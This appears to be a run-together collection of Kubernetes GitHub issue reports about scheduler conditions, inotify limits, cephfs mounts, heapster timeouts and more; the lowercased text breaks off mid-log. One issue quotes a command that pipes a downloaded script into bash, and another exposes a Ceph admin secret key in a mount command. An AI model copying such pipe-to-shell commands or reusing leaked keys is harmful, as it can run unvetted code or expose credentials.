inotify-tools\r for i in  seq 1 10000 ; do mkdir $i ; done\r inotifywait  \r setting up watches.\r failed to watch 8215; upper limit on inotify watches reached!\r please increase the amount of inotify watches allowed per user via  /proc/sys/fs/inotify/max_user_watches'.\r    \r \r   anything else we need to know  :\r temporary fix is to \r    \r sudo sysctl fs.inotify.max_user_watches=524288\r    \r permanent fix is to\r    \r echo \ fs.inotify.max_user_watches=524288\  >> /etc/sysctl.conf\r    \r \r raising the limit to 128k+ would usually solve the problem. the exact number would be up for discussion.\r

i have a single node kubernetes cluster, with master tainted. i am running 2 pods and a service with type: nodeport on the same node. i was expecting the service to load balance the requests between the two pods, but looks like all the requests are always getting forwarded to same pod.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  : \r \r scheduler is still  checking  nodeoutofdisk  condition  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/factory/factory.go l796-l822 , which was already deprecated and removed from kubelet in  48846.\r \r   what you expected to happen  : scheduler should check  nodediskpressure  condition instead, or kubelet should keep posting  nodeoutofdisk  condition.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r from  ci-kubernetes-e2e-gce-etcd3  https://k8s-testgrid.appspot.com/google-gce gce-etcd3&width=5&sort-by-flakiness= , many tests  especially \ networking  k8s.io  granular checks: xxx\   flake a lot because of  test pods couldn't be scheduled  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/13400?log log :\r    \r i0802 14:16:38.670  aug  2 14:16:15.621: info: at 2017-08-02 14:10:47 +0000 utc - event for netserver-2: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates: matchnodeselector  2 .\r    \r \r checked  the scheduler logs  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/13400/artifacts/bootstrap-e2e-master/kube-scheduler.log  and found scheduler kept ignoring node with  outofdiskcondition=unknown :\r    \r i0802 14:10:20.033375       5 factory.go:786  about to try and schedule pod ss2-2\r i0802 14:10:20.033406       5 scheduler.go:255  attempting to schedule pod: e2e-tests-statefulset-hq416/ss2-2\r i0802 14:10:20.035150       5 factory.go:808  ignoring node bootstrap-e2e-minion-group-5734 with outofdisk condition status unknown\r i0802 14:10:20.035177       5 factory.go:817  ignoring node bootstrap-e2e-master since it is unschedulable\r i0802 14:10:20.038957       5 factory.go:1000  attempting to bind ss2-2 to bootstrap-e2e-minion-group-8l5l\r i0802 14:10:20.050075       5 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ e2e-tests-statefulset-hq416\ , name:\ ss2-2\ , uid:\ 513edd40-778c-11e7-8879-42010a800002\ , apiversion:\ v1\ , resourceversion:\ 11216\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned ss2-2 to bootstrap-e2e-minion-group-8l5l\r i0802 14:10:20.461063       5 leaderelection.go:199  successfully renewed lease kube-system/kube-scheduler\r i0802 14:10:22.285111       5 factory.go:786  about to try and schedule pod redis-master-w47l3\r i0802 14:10:22.285164       5 scheduler.go:255  attempting to schedule pod: e2e-tests-kubectl-vbz9w/redis-master-w47l3\r i0802 14:10:22.285185       5 factory.go:817  ignoring node bootstrap-e2e-master since it is unschedulable\r i0802 14:10:22.285193       5 factory.go:808  ignoring node bootstrap-e2e-minion-group-5734 with outofdisk condition status unknown\r i0802 14:10:22.287388       5 factory.go:1000  attempting to bind redis-master-w47l3 to bootstrap-e2e-minion-group-c2c0\r i0802 14:10:22.299202       5 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ e2e-tests-kubectl-vbz9w\ , name:\ redis-master-w47l3\ , uid:\ 52967b38-778c-11e7-8879-42010a800002\ , apiversion:\ v1\ , resourceversion:\ 11237\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned redis-master-w47l3 to bootstrap-e2e-minion-group-c2c0\r i0802 14:10:22.475869       5 leaderelection.go:199  successfully renewed lease kube-system/kube-scheduler\r i0802 14:10:22.522684       5 factory.go:786  about to try and schedule pod pd-client\r i0802 14:10:22.522710       5 scheduler.go:255  attempting to schedule pod: e2e-tests-volume-l5kf0/pd-client\r i0802 14:10:22.522729       5 factory.go:808  ignoring node bootstrap-e2e-minion-group-5734 with outofdisk condition status unknown\r i0802 14:10:22.522755       5 factory.go:817  ignoring node bootstrap-e2e-master since it is unschedulable\r ...\r i0802 14:13:52.962378       5 factory.go:786  about to try and schedule pod ss2-2\r i0802 14:13:52.962425       5 scheduler.go:255  attempting to schedule pod: e2e-tests-statefulset-llw0r/ss2-2\r i0802 14:13:52.962445       5 factory.go:817  ignoring node bootstrap-e2e-master since it is unschedulable\r i0802 14:13:52.962453       5 factory.go:808  ignoring node bootstrap-e2e-minion-group-5734 with outofdisk condition status unknown\r i0802 14:13:52.965084       5 factory.go:1000  attempting to bind ss2-2 to bootstrap-e2e-minion-group-c2c0\r i0802 14:13:52.983876       5 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ e2e-tests-statefulset-llw0r\ , name:\ ss2-2\ , uid:\ d02945f2-778c-11e7-8879-42010a800002\ , apiversion:\ v1\ , resourceversion:\ 14604\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned ss2-2 to bootstrap-e2e-minion-group-c2c0\r i0802 14:13:53.681980       5 factory.go:786  about to try and schedule pod netserver-2\r i0802 14:13:53.682007       5 scheduler.go:255  attempting to schedule pod: e2e-tests-pod-network-test-l1hrr/netserver-2\r i0802 14:13:53.682028       5 factory.go:817  ignoring node bootstrap-e2e-master since it is unschedulable\r i0802 14:13:53.682036       5 factory.go:808  ignoring node bootstrap-e2e-minion-group-5734 with outofdisk condition status unknown\r i0802 14:13:53.682195       5 scheduler.go:167  failed to schedule pod: e2e-tests-pod-network-test-l1hrr/netserver-2\r i0802 14:13:53.682245       5 factory.go:932  unable to schedule e2e-tests-pod-network-test-l1hrr netserver-2: no fit: no nodes are available that match all of the following predicates: matchnodeselector  2 .; waiting\r i0802 14:13:53.682289       5 factory.go:1009  updating pod condition for e2e-tests-pod-network-test-l1hrr/netserver-2 to  podscheduled==false \r i0802 14:13:53.682338       5 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ e2e-tests-pod-network-test-l1hrr\ , name:\ netserver-2\ , uid:\ 61a8b960-778c-11e7-8879-42010a800002\ , apiversion:\ v1\ , resourceversion:\ 11659\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' no nodes are available that match all of the following predicates: matchnodeselector  2 .\r i0802 14:13:53.683567       5 backoff_utils.go:78  backing off 1m0s\r    \r \r haven't traced down why this  outofdisk=unknown  only appeared on part of the nodes && in the middle of test, but it seems certainly problematic.\r \r   anything else we need to know?  :\r \r this seems to be one of the causes that increase  pull-kubernetes-e2e-gce-etcd3 's flakyness.\r \r  \r @dashpole @fejta

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r i have a 3 nodes etcd cluster. and there are two nodes lost connect because of networking .\r so i rebuilt the etcd cluster with another two machines based on the good node.\r \r now the etcd cluster is ok ,  the kubernetes master and client node recovery health\r \r but when i check the kubernete logs，as follows：\r \r    \r nov 16 15:01:02 k8s-master1 kube-scheduler: e1116 15:01:02.492690    5299 leaderelection.go:263  failed to update lock: operation cannot be fulfilled on endpoints \ kube-scheduler\ : the object has been modified; please apply your changes to the latest version and try again\r nov 16 15:01:04 k8s-master1 kube-scheduler: e1116 15:01:04.473963    5299 leaderelection.go:263  failed to update lock: operation cannot be fulfilled on endpoints \ kube-scheduler\ : the object has been modified; please apply your changes to the latest version and try again\r nov 16 15:01:05 k8s-master1 kube-controller-manager: e1116 15:01:05.463473    5313 leaderelection.go:263  failed to update lock: operation cannot be fulfilled on endpoints \ kube-controller-manager\ : the object has been modified; please apply your changes to the latest version and try again\r nov 16 15:01:07 k8s-master1 kube-controller-manager: e1116 15:01:07.495772    5313 leaderelection.go:263  failed to update lock: operation cannot be fulfilled on endpoints \ kube-controller-manager\ : the object has been modified; please apply your changes to the latest version and try again\r nov 16 15:01:08 k8s-master1 kube-scheduler: e1116 15:01:08.524103    5299 leaderelection.go:263  failed to update lock: operation cannot be fulfilled on endpoints \ kube-scheduler\ : the object has been modified; please apply your changes to the latest version and try again\r nov 16 15:01:11 k8s-master1 kube-controller-manager: e1116 15:01:11.473358    5313 leaderelection.go:263  failed to update lock: operation cannot be fulfilled on endpoints \ kube-controller-manager\ : the object has been modified; please apply your changes to the latest version and try again\r    \r the state of the cluster is normal, and i can ignore these errors, but these logs take up a lot of space, and i have to clean them regularly, how can i solve this problem?\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : 1.7.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :  centos7.4\r - kernel  e.g.  uname -a  :linux k8s-master2 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r  \r \r   what happened  :\r \r implement this todo:\r  https://github.com/kubernetes/kubernetes/blob/35ed5338b104f41c91efb2b842e92fded6d0b509/staging/src/k8s.io/apimachinery/pkg/util/net/port_range.go l53  https://github.com/kubernetes/kubernetes/blob/35ed5338b104f41c91efb2b842e92fded6d0b509/staging/src/k8s.io/apimachinery/pkg/util/net/port_range.go l53 \r \r   what you expected to happen  :\r \r \r start kube-proxy with a 'beginport+offset' format port range configuration. this is needed when i want to allocate specific numbers of port from a host without extra manual calculation.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i test cephfs pv、pvc and pod mount with cephfs successfully in default namespace. but when i test these in other namespace, although i config ceph secret in this namespace, pod mount pvc still failed.\r the config of pv is like this:\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: iot-mysql-ceph-pv\r spec:\r   capacity:\r     storage: 10gi\r   accessmodes:\r     - readwritemany\r   cephfs:\r     monitors:\r       - 10.110.20.161:6789\r       - 10.110.20.162:6789\r       - 10.110.20.163:6789\r     user: admin\r     secretref:\r       name: ceph-secret\r       namespace: lynnyuan\r     readonly: false\r   persistentvolumereclaimpolicy: recycle\r \r the config of pvc is like this:\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: iot-mysql-ceph-pvc\r   namespace: lynnyuan\r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 10gi\r \r the config of pod is like this:\r apiversion: v1\r kind: pod\r metadata:\r   name: iot-mysql-tsdb-pod\r   namespace: lynnyuan\r spec:\r   volumes:\r   - name: iot-mysql-ceph-pvc-vlm\r     persistentvolumeclaim:\r       claimname: iot-mysql-ceph-pvc\r   containers:\r   - name: iot-mysql-tsdb-ctn\r     image: registry.dev161.com:5000/iot/mysql:5.5.59\r     volumemounts:\r     - mountpath: /var/lib/mysql\r       name: iot-mysql-ceph-pvc-vlm\r     imagepullpolicy: always\r     ports:\r     - containerport: 3306\r     env:\r     - name: mysql_root_password\r       value: \ root\ \r \r the status of pv and pvc is bound, the status of pod is containercreating, pod log is like this:\r   warning  failedmount            1m    kubelet, slave1    mountvolume.setup failed for volume \ iot-mysql-ceph-pv\  : cephfs: mount failed: mount failed: exit status 2\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/8d0b63dd-1c65-11e8-8f5f-0050568848e8/volumes/kubernetes.io~cephfs/iot-mysql-ceph-pv --scope -- mount -t ceph -o name=admin,secret=aqbsmjfazgakaraaz+rytrkcnx0/aa+jfp69da== 10.110.20.161:6789,10.110.20.162:6789,10.110.20.163:6789:/like /var/lib/kubelet/pods/8d0b63dd-1c65-11e8-8f5f-0050568848e8/volumes/kubernetes.io~cephfs/iot-mysql-ceph-pv\r output: running scope as unit run-5703.scope.\r mount error 2 = no such file or directory\r   warning  failedmount  1m  kubelet, slave1  mountvolume.setup failed for volume \ iot-mysql-ceph-pv\  : cephfs: mount failed: mount failed: exit status 2

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :  hack/verify-typecheck.sh  gives\r    \r error windows/amd64  test/integration/master/kms_plugin_mock.go:106:9: unlink not declared by package unix\r error windows/386  test/integration/master/kms_plugin_mock.go:106:9: unlink not declared by package unix  \r    \r \r   what you expected to happen  : i expect the codebase to typecheck for all platforms/architectures we compile for\r \r   how to reproduce it  as minimally and precisely as possible   :  hack/verify-typecheck.sh \r \r \r   anything else we need to know?  : the unix package unsurprisingly only builds on unix, we should probably add build tags to these tests so they are skipped for other platforms. this is one of the things preventing us from using typecheck to quickly verify all prs\r \r

 \r k8s ignore grace period and always set it to 2 second while stop docker container:\r level=debug msg=\ calling post /v1.31/containers/9dabaac5698f3b6f628a6b812cc962c4913a2598656ba42e88b02877e545abfa/stop?t=2\ \r  - - -\r graceperiod must be provided as arg to docker stop\r \r tested with docker versions 17.03 - 17.12 ce\r \r - kubernetes version: v1.8.7.1-a\r - cloud provider or hardware configuration: local installation\r - os  e.g. from /etc/os-release : 16.04.3 lts  xenial xerus \r - kernel: linux hostname 4.14.4-041404-generic\r  - - -\r i've try specify grace period by:\r terminationgraceperiodseconds: 300\r and --grace-period=30 even --grace-period=0 ignored\r \r any suggestions?\r \r thanks!

57228 removed the ability to enable or disable individual resources, which is a breaking change  to apiserver command line flag . this was somehow merged without an action-required release note  actually without any release note , it didn't follow our deprecation policy, and it wasn't announced on any mailing list  so far as i know .\r \r the most obvious thing to do is to roll back this pr and anything that depends on it.\r \r we should also have a discussion about how we can catch breaking changes like this.  my own triage missed it because it didn't have the sig/api-machinery label, for example

\r   which jobs are failing  :\r pull-kubernetes-conformance-image-test job\r \r   reason for failure  :\r this job creates a pod and pod goes from being pending into \ pod status is: failed\ .\r \r please see for example the following pr https://github.com/kubernetes/kubernetes/pull/74977 to see that the job is stuck in pending state.

what happened  :\r node-driver-registrar failed to register a node\r   what you expected to happen  :\r i expected the node to be registered\r   how to reproduce it  as minimally and precisely as possible   :\r register a node with a node id exceeding 128 characters\r   anything else we need to know?  :\r we overloaded the node id to contain all of the details necessary to provide data access to the nodes from our storage array  e.g. {\ name\ :\ node1\ ,\ uuid\ :\ some_uuid\ ,\ iqns\ : \ iqn.1994-05.com.redhat:15d763458dd\  ,\ networks\ : \ 172.10.0.0\ ,\ 172.20.16.0\  } .  we used this during controllervolumepublish to notify the sp of the node details.  this worked fine in 1.12 and 1.13.  now that a new validation has been added to the length of the csi node id, we cannot register. \r \r   environment  :\r - kubernetes version: 1.14.2\r

https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/client/request.go l277 specifically refers to kube objects, but client is generic to any runtime.object.  we should abstract this code into scheme, and pull it out of pkg/client/request.go.

we want to allow containers to be able to read/write from nfs  via hostpath, rather than as mounts themselves, due to various reasons . this also allows kubernetes to co-exist with our current 'cluster'  running... gridengine .   for this to work we  need to be able to control the uid, gid and groups as which the container runs.  runasuser  already exists, so this would just add  runasgroup  and perhaps  runwithsupplementarygroups  or something similar.  i'm aware that  7893 is doing a more thorough overhaul of this, but am filing this anyway because: 1. i don't think that patch is going to land before 1.1  or anytime soon after  2. is a lot more comprehensive than what we need atm  so hopefully just adding these two to securitycontext doesn't complicate the b/c story further.

in order to deploy kubernetes, following the link - http://kubernetes.io/docs/getting-started-guides/aws/  wget - result - all other python libraries which used - twisted,awscli and other files  for e.g. scrapy,aws  became   defunct..    python 2.7 couldn't be reinstalled. entire distro  fedora, ubuntu  had to be re-installed.  export aws_default_profile=admin  root@localhost /   export kubernetes_provider=aws; wget -q -o - https://get.k8s.io | bash downloading kubernetes release v1.2.4 to //kubernetes.tar.gz --2016-06-10 17:32:04-- https://storage.googleapis.com/kubernetes-release/release/v1.2.4/kubernetes.tar.gz resolving storage.googleapis.com  storage.googleapis.com ... 216.58.199.144, 2404:6800:4009:806::2010 connecting to storage.googleapis.com  storage.googleapis.com |216.58.199.144|:443... connected. http request sent, awaiting response... 200 ok length: 496696744  474m   application/x-tar  saving to: ‘kubernetes.tar.gz’  kubernetes.tar.gz 100% ===================>  473.69m 1.35mb/s in 7m 48s  2016-06-10 17:39:52  1.01 mb/s  - ‘kubernetes.tar.gz’ saved  496696744/496696744   unpacking kubernetes release v1.2.4 creating a kubernetes on aws... ... starting cluster in us-west-2a using provider aws ... calling verify-prereqs ... calling kube-up starting cluster using os distro: jessie traceback  most recent call last : file \ /bin/aws\ , line 27, in sys.exit main    file \ /bin/aws\ , line 23, in main return awscli.clidriver.main   file \ /usr/lib/python2.7/site-packages/awscli/clidriver.py\ , line 50, in main return driver.main   file \ /usr/lib/python2.7/site-packages/awscli/clidriver.py\ , line 176, in main parser = self._create_parser   file \ /usr/lib/python2.7/site-packages/awscli/clidriver.py\ , line 157, in _create_parser command_table = self._get_command_table   file \ /usr/lib/python2.7/site-packages/awscli/clidriver.py\ , line 91, in _get_command_table self._command_table = self._build_command_table   file \ /usr/lib/python2.7/site-packages/awscli/clidriver.py\ , line 111, in _build_command_table command_object=self  file \ /usr/lib/python2.7/site-packages/botocore/session.py\ , line 683, in emit return self._events.emit event_name, kwargs  file \ /usr/lib/python2.7/site-packages/botocore/hooks.py\ , line 227, in emit return self._emit event_name, kwargs  file \ /usr/lib/python2.7/site-packages/botocore/hooks.py\ , line 210, in _emit response = handler kwargs  file \ /usr/lib/python2.7/site-packages/awscli/customizations/preview.py\ , line 71, in mark_as_preview service_name=original_command.service_model.service_name, file \ /usr/lib/python2.7/site-packages/awscli/clidriver.py\ , line 349, in service_model return self._get_service_model   file \ /usr/lib/python2.7/site-packages/awscli/clidriver.py\ , line 366, in _get_service_model api_version = self.session.get_config_variable 'api_versions' .get  file \ /usr/lib/python2.7/site-packages/botocore/session.py\ , line 258, in get_config_variable elif self._found_in_config_file methods, var_config : file \ /usr/lib/python2.7/site-packages/botocore/session.py\ , line 279, in _found_in_config_file return var_config 0  in self.get_scoped_config   file \ /usr/lib/python2.7/site-packages/botocore/session.py\ , line 351, in get_scoped_config raise profilenotfound profile=profile_name  botocore.exceptions.profilenotfound: the config profile  admin  could not be found

currently, when using flag  kube_use_existing_master=true  in kube-up.sh, we will simple recreate nodes in a new zone, but we will use the same template. this makes it impossible to use different machine specification, e.g. use ssd or bigger machines. this defeats one of the main reasons why we have introduced ubernetes lite in the first place.  afaiu it works on aws.  am i missing something or is it a serious gap in our multi-zone cluster offering in gce?  @kubernetes/goog-control-plane @quinton-hoole @davidopp @matchstick

3 of my 5 nodes hit the outofdisk in 2 months ago. and then, those 3 nodes can not be used even the disk usage is dropped. i have to remove the node from cluster and restart the kubelet on that disk.   \ conditions\ : {\ type\ :\ ready\ ,\ status\ :\ true\ ,\ lastheartbeattime\ :\ 2016-07-26t22:50:53z\ ,\ lasttransitiontime\ :\ 2016-06-14t21:25:15z\ ,\ reason\ :\ kubeletready\ ,\ message\ :\ kubelet is posting ready status\ },{\ type\ :\ outofdisk\ ,\ status\ :\ unknown\ ,\ lastheartbeattime\ :\ 2016-05-16t20:52:46z\ ,\ lasttransitiontime\ :\ 2016-06-14t21:24:49z\ ,\ reason\ :\ nodestatusneverupdated\ ,\ message\ :\ kubelet never posted node status.\ }

density test is failing without gc on large clusters with the following error:      • failure  2058.061 seconds   k8s.io  density /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:783    feature:performance  should allow starting 30 pods per node  it    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/density.go:673    expected error:       < errors.errorstring | 0xc865089da0>: {           s: \ error while stopping rc: density60000-0-9e82e298-69eb-11e6-8157-a0481cabf39b: timed out waiting for \\\ density60000-0-9e82e298-69eb-11e6-8157-a0481cabf39b\\\  to be synced\ ,       }       error while stopping rc: density60000-0-9e82e298-69eb-11e6-8157-a0481cabf39b: timed out waiting for \ density60000-0-9e82e298-69eb-11e6-8157-a0481cabf39b\  to be synced   not to have occurred    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/density.go:332      however, this \ working as implemented\  currently.  the problem is that in this case, underneath we are using \ deletercandpods\  method to delete rc, and this in turn is using \ replicationcontrollerreaper\ , which results in calling this one: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/scale.go l199  however, when watch is close, \ wait.until\  returns \ errwaittimeout\ : https://github.com/kubernetes/kubernetes/blob/master/pkg/watch/until.go l63  the test is failing after exactly 5 minutes of waiting for the rc deletion, because of timeout on http.client: https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/util.go l1749  i think that there are two issues here: 1. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/scale.go l199 is not going to watch if we intend to wait for a long time, since watch can be close at any time. in those cases, we should be actually renewing a watch.    we may have similar problems in other places of the code. 2. why do we set client.timeout in tests if we are not doing it anywhere in production? we should use as similar setup to production as possible in our test. @krousey @lavalamp      for this one i'm going to send a pr that will stop setting timeouts for http.client in tests.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2363/ failed:  k8s.io  kubelet cgroup manager pod containers on scheduling a besteffort pod pod containers should have been created under the besteffort cgroup {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/pods_container_manager_test.go:253 expected error:     < errors.errorstring | 0xc420ef46c0>: {         s: \ pod \\\ pod58964bdf-01da-11e7-99ec-42010a80000a\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-05 19:31:35 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-05 19:31:35 +0000 utc reason:containersnotready message:containers with unready status:  container58964c09-01da-11e7-99ec-42010a80000a }  message: reason: hostip:10.128.0.10 podip:10.180.0.5 starttime:2017-03-05 19:31:35 +0000 utc initcontainerstatuses:   containerstatuses: {name:container58964c09-01da-11e7-99ec-42010a80000a state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-05 19:31:39 +0000 utc,containerid:docker://21e7aa7f948905307ebde619d6f03b1ac77ca7a2f50811654494d8b373d29e3f,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker-pullable://gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff containerid:docker://21e7aa7f948905307ebde619d6f03b1ac77ca7a2f50811654494d8b373d29e3f}  qosclass:besteffort}\ ,     }     pod \ pod58964bdf-01da-11e7-99ec-42010a80000a\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-05 19:31:35 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-05 19:31:35 +0000 utc reason:containersnotready message:containers with unready status:  container58964c09-01da-11e7-99ec-42010a80000a }  message: reason: hostip:10.128.0.10 podip:10.180.0.5 starttime:2017-03-05 19:31:35 +0000 utc initcontainerstatuses:   containerstatuses: {name:container58964c09-01da-11e7-99ec-42010a80000a state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-05 19:31:39 +0000 utc,containerid:docker://21e7aa7f948905307ebde619d6f03b1ac77ca7a2f50811654494d8b373d29e3f,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker-pullable://gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff containerid:docker://21e7aa7f948905307ebde619d6f03b1ac77ca7a2f50811654494d8b373d29e3f}  qosclass:besteffort} not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/pods_container_manager_test.go:243

with a number of changes to pod deletion going in in 1.6   41644,  41095 , it is important to expose metrics for monitoring deletion latency.\r \r i plan to expose a pod deletion latency metric in the same way that podstartlatency is exposed in  kubelet prometheus metrics  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/metrics/metrics.go \r \r cc @vishh \r

 \r   what happened  :\r cni  0.6.0  https://github.com/containernetworking/cni/releases/tag/v0.6.0  dropped and k8s needs updatingt. cni 0.6.0 is needed to support ipv6 pods in k8s.\r \r   what you expected to happen  :\r revendor cni and pass tests.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r /area ipv6\r  \r   environment  :\r all

 \r   what happened  :\r when a cluster is running on a network with a different project, it will ignore firewall creation. however, the code still attempts to delete the firewall when the service is torn down an does not continue teardown on failure.\r \r   what you expected to happen  :\r ignore firewall deletion failure\r \r \r  /assign @nicksardo\r /area platform/gce

hi guys:\r \r i have a k8s environment:\r 4 nodes only run kubelets and kube-proxy,\r 3 nodes only run kube-apiserver, kube-controller-manager, kube-scheduler.\r 1 node only runs kubectl\r all components are installed in binary, and open the rbac\r k8s master ha runs through the nginx on each client node to connect the master\r the kubernetes cluster is running normally and can execute any commands except kubectl top node\r \r execution time, the error is as follows:\r    \r  root@k8s-console ~   kubectl top node --kubeconfig='/root/.kube/config'\r error from server  internalerror : an error on the server  \ error: 'dial tcp 10.233.161.41:8082: getsockopt: connection timed out'\ trying to reach: 'http://10.233.161.41:8082/apis/metrics/v1alpha1/nodes?labelselector='\   has prevented the request from succeeding  get services http:heapster: \r    \r \r however, i can access the data directly through curl\r    \r  root@k8s-console ~   curl http://10.233.161.41:8082/apis/metrics/v1alpha1/nodes?labelselector=\r {\r   \ metadata\ : {},\r   \ items\ :  \r    {\r     \ metadata\ : {\r      \ name\ : \ 172.29.151.4\ ,\r      \ creationtimestamp\ : \ 2017-10-19t10:08:20z\ \r     },\r     \ timestamp\ : \ 2017-10-19t10:08:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 81m\ ,\r      \ memory\ : \ 1835808ki\ \r     }\r    },\r }\r    \r \r the following is the environmental situation\r \r   kubernetes version  \r    \r  root@k8s-console ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:36:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   pods in kube-system  \r    \r  root@k8s-console ~   kubectl get pods -n kube-system\r name                                       ready     status    restarts   age\r calico-kube-controllers-3994748863-0dpcp   1/1       running   2          7d\r calico-node-74d64                          1/1       running   2          7d\r calico-node-q8r14                          1/1       running   0          23h\r calico-node-rbrw3                          1/1       running   3          7d\r calico-node-vtcrs                          1/1       running   2          7d\r heapster-84017538-4jg1t                    1/1       running   0          2h\r kube-dns-3468831164-2kl0h                  3/3       running   6          7d\r kube-dns-3468831164-9hsbm                  3/3       running   3          6d\r kube-dns-autoscaler-244676396-bpfpw        1/1       running   2          7d\r kubernetes-dashboard-2923351285-tl9hl      1/1       running   0          59m\r monitoring-grafana-2115417091-21khw        1/1       running   0          1h\r monitoring-influxdb-3570645011-fdt19       1/1       running   0          2h\r    \r \r   svc in kube-system  \r \r    \r  root@k8s-console ~   kubectl get svc -n kube-system\r name                   cluster-ip       external-ip   port s          age\r heapster               10.254.244.238   <none>        80/tcp          2h\r kube-dns               10.254.0.2       <none>        53/udp,53/tcp   7d\r kubernetes-dashboard   10.254.174.93    <nodes>       443:31452/tcp   1h\r monitoring-grafana     10.254.216.147   <nodes>       80:31188/tcp    1h\r monitoring-influxdb    10.254.240.164   <none>        8086/tcp        2h\r    \r \r   heapster pod logs  \r \r    \r  root@k8s-console ~   kubectl logs heapster-84017538-4jg1t -n kube-system\r i1019 07:55:27.095193       1 heapster.go:72  /heapster --source=kubernetes:https://kubernetes.default --sink=influxdb:http://monitoring-influxdb.kube-system.svc:8086\r i1019 07:55:27.095265       1 heapster.go:73  heapster version v1.3.0\r i1019 07:55:27.095657       1 configs.go:61  using kubernetes 